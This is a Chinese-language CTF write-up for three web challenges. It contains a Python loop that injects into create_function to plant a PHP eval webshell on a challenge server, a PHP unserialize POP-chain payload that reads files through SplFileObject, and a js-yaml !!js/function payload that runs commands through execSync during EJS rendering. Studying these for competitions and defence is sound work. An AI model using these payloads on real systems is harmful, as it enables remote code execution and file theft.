what’s my name

源码忘存了,就记得几个绕过

  • 正则直接include%0a绕过
  • create_function直接搜文章%27%22]);}phpinfo();/*绕过
  • 这里强比较可以本地调试,发现是字符串类型,直接传参就行,注意lambda前面有个不可见字符我们用%00表示
  • 这里的lambda每次都会加1,这是php的特性,只有php重启才会重新变回1,我一开始是构造好payload手点73下发现无法写马成功,可能环境问题,后来还是写脚本爆了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import requests
    from concurrent.futures import ThreadPoolExecutor
    url = 'http://47.108.206.43:43036/?d0g3=include%0a%27%22]);}file_put_contents("zoe.php","<?php+eval(\$_POST[1]);?>");/*&name=%00lambda_73'
    while True:
    res = requests.get(url)
    print(res.status_code)
    url2 = "http://47.108.206.43:43036/zoe.php"
    res2 = requests.get(url=url2)

    if res2.status_code == 200:
    print("1111111")
    break

easy_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;

public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}

public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}

public function __get($arg1)
{
$this->ll2->ll2('b2');
}

public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}

class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
//public $SplFileObject="php://filter/read=convert.base64-encode/resource=flag.php";
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}

if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']);
}else{
highlight_file(__FILE__);
}
?>

链子:

1
You::wakeup->Luck::__unset->Luck::toString->Flag::invoke

主要是Flag类中原生类的利用,我们通过调试可以发现$this我们是可以自己加的,在反序列化的时候如果出现原来类不存在的变量也会添加进去
然后就是利用两个原生类来寻找flag位置和读取flag

  • SplFileObject读
  • DirectoryIterator找(列出目录下的文件)
    payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class You
{
public $y1;
}
class Luck
{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function setmd5($value) {
$this->md5 = $value;
}
}
class Flag{
public $SplFileObject="php://filter/read=convert.base64-encode/resource=/FfffLlllLaAaaggGgGg";
//public $DirectoryIterator="/";

public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}


$target=new Luck();
$target->l1=new Flag();
$b=new Luck();
$b->setmd5($target);
$a=new You();
$a->y1=$b;

echo urlencode(serialize($a));

signal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
const express = require('express');
const multer = require('multer');
const bodyParser = require('body-parser');
const ini = require('iniparser');
const xml2js = require('xml2js');
const properties = require('properties');
const yaml = require('js-yaml');
const cp = require('child_process')
const path = require('path');
const session = require('express-session');

const app = express();
const port = process.env.PORT || 80;

// 设置存储配置
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });


app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(session({
secret: 'welcome',//
resave: false,
saveUninitialized: false,
cookie: {
maxAge: 3600000
}
}))

let output = '';

app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

app.post('/convert', upload.single('configFile'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded.');
}
if(req.body.format!="yaml"){
return res.status(404).send("该功能暂未开始使用.");
}
const fileExtension = path.extname(req.file.originalname).toLowerCase();
const fileBuffer = req.file.buffer.toString('utf8');


if (fileExtension === '.ini') {
// 处理 INI 文件
const parsedData = ini.parseString(fileBuffer);
output = yaml.dump(parsedData);
} else if (fileExtension === '.xml') {
// 处理 XML 文件
xml2js.parseString(fileBuffer, (err, result) => {
if (err) {
return res.status(500).send('Error parsing XML.');
}
output = yaml.dump(result);
});
} else if (fileExtension === '.properties') {
// 处理 Properties 文件
properties.parse(fileBuffer, (err, parsedData) => {
if (err) {
console.error('Error parsing properties file:', err);
return res.status(500).send('Error parsing properties file.');
}
output = yaml.dump(parsedData);
});
} else if (fileExtension === '.yaml') {
// 处理 YAML 文件
try {
// 尝试解析 YAML 文件
const yamlData = yaml.load(fileBuffer);
// 如果成功解析,yamlData 变量将包含 YAML 文件的内容
output = yaml.dump(yamlData);
} catch (e) {
return res.status(400).send('Invalid YAML format: ' + e.message);
}
}

if (output) {
let name = 'ctfer';
const yamlData = yaml.load(output);
if (yamlData && yamlData.name) {
name = yamlData.name;
}
req.session.outputData=name;
req.session.outputData=output;
res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
} else {
res.status(400).send('Unsupported format.')
}
});
app.get('/download', (req, res) => {
if (output) {
const outputData = req.session.outputData;

// 设置响应头,指定文件的内容类型为YAML
res.setHeader('Content-Type', 'application/x-yaml');
// 设置响应头,指定文件名
res.setHeader('Content-Disposition', 'attachment; filename="output.yaml"');

// 将转换后的文件内容发送给客户端
res.send(outputData);
} else {
res.status(404).send('File not found.');
}
});
app.get('/flag',(req, res) => {
if(req.session.name=='admin'){
cp.execFile('/readflag', (err, stdout, stderr) => {
if (err) {
console.error('Error:', err);
return res.status(404).send('File not found.');
}
res.send(stdout);
})
} else {
res.status(403).send('Permission denied.');
}
})

app.listen(port, () => {
console.log(`App is running on port ${port}`)
})

按道理是看package.json的,题目源码提示了只需要看yaml相关的
package.json`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"name": "web",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"ejs": "^3.1.9",
"express": "^4.18.2",
"express-session": "^1.17.3",
"iniparser": "^1.0.5",
"js-yaml": "^3.14.1",
"multer": "^1.4.5-lts.1",
"properties": "^1.2.1",
"xml2js": "^0.6.2"
}
}

我一开始搜的”js-yaml”: “^3.14.1”,发现一个CVE-2013-4660,但是那篇文章对应的版本不对就直接没看了,后来发现就是那个CVE
参考:

通过调试可以发现最后ejs渲染的是name属性
image.png
1.yaml

1
"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('whoami').toString(); return flag;}"}

此时写个demo
1
2
3
4
5
6
7
8
9
const yaml = require('js-yaml');
const fs=require('fs');

const yamlData=yaml.load(fs.readFileSync('./1.yaml','utf-8'));
console.log(yamlData);
output = yaml.dump(yamlData);//最后渲染的output值
console.log(output);
const lastdata=yaml.load(output);
console.log(lastdata.name);//最后渲染的name值

ejs渲染的时候会调用toString()方法
image.png
改一下whoami即可拿到flag
还有两个Java和一个python(实现任意文件读取了卡住了)没做出来,准备后面复现了